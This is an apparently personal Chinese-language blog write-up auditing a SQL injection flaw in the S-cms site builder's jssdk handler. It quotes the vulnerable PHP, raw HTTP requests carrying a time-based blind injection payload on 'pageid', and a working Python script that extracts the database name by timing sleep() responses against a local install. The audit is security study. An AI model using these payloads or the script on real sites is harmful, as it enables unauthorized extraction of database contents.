S-cms 审计-盲注

早上看到Y4er大佬发的文章啦,赶紧也去下载一个S-cms企业建站系统,来审计一下
文章地址https://y4er.com/post/scms-blind-injection/
至于如何在自己电脑上下载安装,应该不用多说了,不会的请留言
D:\app_english\PHPstudy\PHPTutorial\WWW\Scms\Scms\js\scms.php:173行

case "jssdk":
    $APPID = $C_wx_appid;
    $APPSECRET = $C_wx_appsecret;
    $info = getbody("https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=" . $APPID . "&secret=" . $APPSECRET, "");
    $access_token = json_decode($info)->access_token;
    $info = getbody("https://api.weixin.qq.com/cgi-bin/ticket/getticket?access_token=" . $access_token . "&type=jsapi", "");
    $ticket = json_decode($info)->ticket;
    $url = $_POST["url"];
    $noncestr = gen_key(20);
    $timestamp = time();
    $pageid = $_POST["pageid"];
    if ($pageid == "") {
        $pageid = 1;
    }
    switch ($_POST["pagetype"]) {
        case "index":
            $img = $C_ico;
            break;
        case "text":
            $img = getrs("select * from " . TABLE . "text where T_id=" . $pageid, "T_pic");
            break;
        case "product":
            $img = getrs("select * from " . TABLE . "psort where S_id=" . $pageid, "S_pic");
            break;
        case "productinfo":
            $img = splitx(getrs("select * from " . TABLE . "product where P_id=" . $pageid, "P_path"), "__", 0);
            break;
        case "news":
            $img = getrs("select * from " . TABLE . "nsort where S_id=" . $pageid, "S_pic");
            break;
        case "newsinfo":
            $img = getrs("select * from " . TABLE . "news where N_id=" . $pageid, "N_pic");
            break;
        case "form":
            $img = getrs("select * from " . TABLE . "form where F_id=" . $pageid, "F_pic");
            break;
        case "contact":
            $img = $C_ico;
            break;
        case "guestbook":
            $img = $C_ico;
            break;
    }

    $sign = sha1("jsapi_ticket=" . $ticket . "&noncestr=" . $noncestr . "×tamp=" . $timestamp . "&url=" . $url);

    echo "{\"nonceStr\":\"" . $noncestr . "\",\"timestamp\":\"" . $timestamp . "\",\"signature\":\"" . $sign . "\",\"appid\":\"" . $APPID . "\",\"img\":\"http://" . $_SERVER["HTTP_HOST"] . $C_dir . $img . "\",\"ticket\":\"" . $ticket . "\"}";


    break;

可以看到 $pageid = $_POST["pageid"];直接从POST中赋值,并且直接拼接到sql语句中。
过滤了一些东西,在这我给出一个payload
首先先判断pageid是否存在

"""
POST /scms/scms/js/scms.php?action=jssdk HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Connection: keep-alive
Referer: http://localhost/scms/scms/?lang=cn
Cookie: zhwy_2132_saltkey=R25LZRwl; zhwy_2132_lastvisit=1562912233; zhwy_2132_ulastactivity=08a5nAYBrN7YsSyCxXUi9cSLZoRE%2FUO4yY%2B3xv8fhwx4i2Wh6ksK; zhwy_2132_nofavfid=1; zU2p_2132_saltkey=XQM4NcQP; zU2p_2132_lastvisit=1562914333; PHPSESSID=56r9sfiajqlueuh6lj2vuo2o21; __tins__18885840=%7B%22sid%22%3A%201563332062803%2C%20%22vd%22%3A%2014%2C%20%22expires%22%3A%201563335043801%7D; __51cke__=; __51laig__=14
Upgrade-Insecure-Requests: 1

pagetype=productinfo&pageid=78 %26%26 if(ascii(substring(database(),1,1))=115,sleep(5),1)

如果存在返回包应该是包含了img字段并且有具体的图片地址,例如(我这存在也不返回啊,难受)

"""
HTTP/1.1 200 OK
Date: Wed, 17 Jul 2019 03:23:51 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.6.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8
Content-Length: 319

{"nonceStr":"chhnvlEPIcivTdHNvRAh","timestamp":"1563333832","signature":"769a3e36bade928818b430b94c98a8b6d4b9f272","appid":"wxXXXXXXXXXX","img":"http://localhost/scms/scms/","ticket":""}

如果你的pageid是不存在的话,你的sleep时间将会是5的倍数

可以参考admintony师傅的文章MySQL的逻辑运算符(and_or_xor)的工作机制研究

给出payload

POST /js/scms.php?action=jssdk HTTP/1.1
Host: php.local
Content-Length: 89
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Origin: http://php.local
Content-Type: application/x-www-form-urlencoded
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://php.local/js/scms.php?action=jssdk
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Ov1T_2132_saltkey=WKW5M101; Ov1T_2132_lastvisit=1562845214; PHPSESSID=erjg0os8p6mcdbjm7ug5b3qn34; XDEBUG_SESSION=PHPSTORM
Connection: close

pagetype=productinfo&pageid=78 %26%26 if(ascii(substring(database(),1,1))=115,sleep(5),1)

值得一提的是scms过滤了一系列关键字比如select ,update,',/,*,\,那么具体的payload就靠大家发挥了
以上大部分都是大佬的观点和状况了,HTTP请求和返回是我自己的

但是我下载的代码不是到是咋回事,好像了点问题

我刚打开的时候是没有我红色箭头表示的空白部分的,导致这一部分的代码根本没啥用啊,找到原因后如图我自己给他加上了一点缩进,这才没事的

试着写写盲注的代码

气死我了,那个%26%26写到程序里就TMD跟出鬼了一样,
调试了好多次,运行第一次完美,睡上个5秒,但是运行第二次立马就返回结果了,我TMD一样的代码啊,不可以这样气我好不好,到数据库直接运行也没错啊,那效果跟加了缓存似的,难受,赶紧改成&&才没问题的
先放上查数据库名的代码,cookie用不用都一样,可以自己用自己的,我代码里没用到cookie(哈哈调试错误的时候快疯了)哎,在burp里是%26%26才行,在python3代码里是&&才行啊啊啊啊啊,好可怕啊

import requests
import time
url = 'http://localhost/scms/scms/js/scms.php?action=jssdk'
char_set = r'~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.'
post_data = {'pagetype':'productinfo','pageid': '78'}
session = requests.session()
cookie = {
    'zhwy_2132_saltkey': 'R25LZRwl',
    'zhwy_2132_lastvisit':'1562912233',
    'zhwy_2132_ulastactivity':r'08a5nAYBrN7YsSyCxXUi9cSLZoRE%2FUO4yY%2B3xv8fhwx4i2Wh6ksK',
    'zhwy_2132_nofavfid':'1',
    'zU2p_2132_saltkey':'XQM4NcQP',
    'zU2p_2132_lastvisit':'1562914333',
    'PHPSESSID':'56r9sfiajqlueuh6lj2vuo2o21',
    '__tins__18885840':r'%7B%22sid%22%3A%201563332062803%2C%20%22vd%22%3A%2014%2C%20%22expires%22%3A%201563335043801%7D',
    '__51cke__':'',
    '__51laig__':'14'
}

def work_find_db():
    current_db = ''
    try:
        pass
        for x in range(10):
            for y in char_set:
                print(y, end='', flush=True)
                pageid = r'78 && '+'if(ascii(substring(database(),%s,1))=%s,sleep(7),1)' % ((x+1), ord(y))
                post_data.update({'pageid': pageid})
                # print(pageid)
                try:
                    # start = time.time()
                    res = session.post(url, data=post_data, timeout=6)
                    if res.text is not None:
                        print('  ', end='', flush=True)
                except requests.exceptions.ReadTimeout:
                    current_db += y
                    print('\nNice->',current_db)
                    break
            print()
    except KeyboardInterrupt:
        print('手动退出')
        
work_find_db()

select被过滤了,剩下的完全不会了啊

你可能感兴趣的:(S-cms 审计-盲注)